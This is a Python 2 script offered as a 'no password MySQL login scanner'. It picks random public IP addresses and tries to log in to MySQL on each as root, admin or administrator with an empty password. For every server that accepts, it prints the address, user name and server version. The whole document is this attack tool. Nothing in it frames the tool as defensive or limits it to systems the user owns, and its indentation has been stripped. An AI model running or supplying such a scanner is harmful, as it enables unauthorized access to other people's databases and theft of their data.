MySQL login scanner

#!/usr/bin/env python
# No_Password MySQL login scanner.

import MySQLdb, random, sys

def randip():

A = random.randrange(255) + 1
B = random.randrange(255) + 1
C = random.randrange(255) + 1
D = random.randrange(255) + 1
ip = "%d.%d.%d.%d" % (A,B,C,D)
return ip

def title():
print "\n MySQL_default "
print "-------------------------------------------------"

#Add or subract users here.
users = ["root","admin","administrator"]

if len(sys.argv) <= 1:
title()
print "\nUsage: mysql_default.py \n"
sys.exit(0)

title()
print "\n[+] Scanning:",sys.argv[1]
for x in xrange(int(sys.argv[1])):
ip = randip()
try:
for u in users:
#print "[+] Connecting:",ip," User:",u
db = MySQLdb.connect(user = u, passwd = "", host = ip, connect_timeout=15)
print "[+] Connected"
print "[+] IP:",ip," User:",u
print db.get_server_info()
print "[+] Connection successful."
db.close()
except(MySQLdb.OperationalError), msg:
#print "[-] Connections Closed"
pass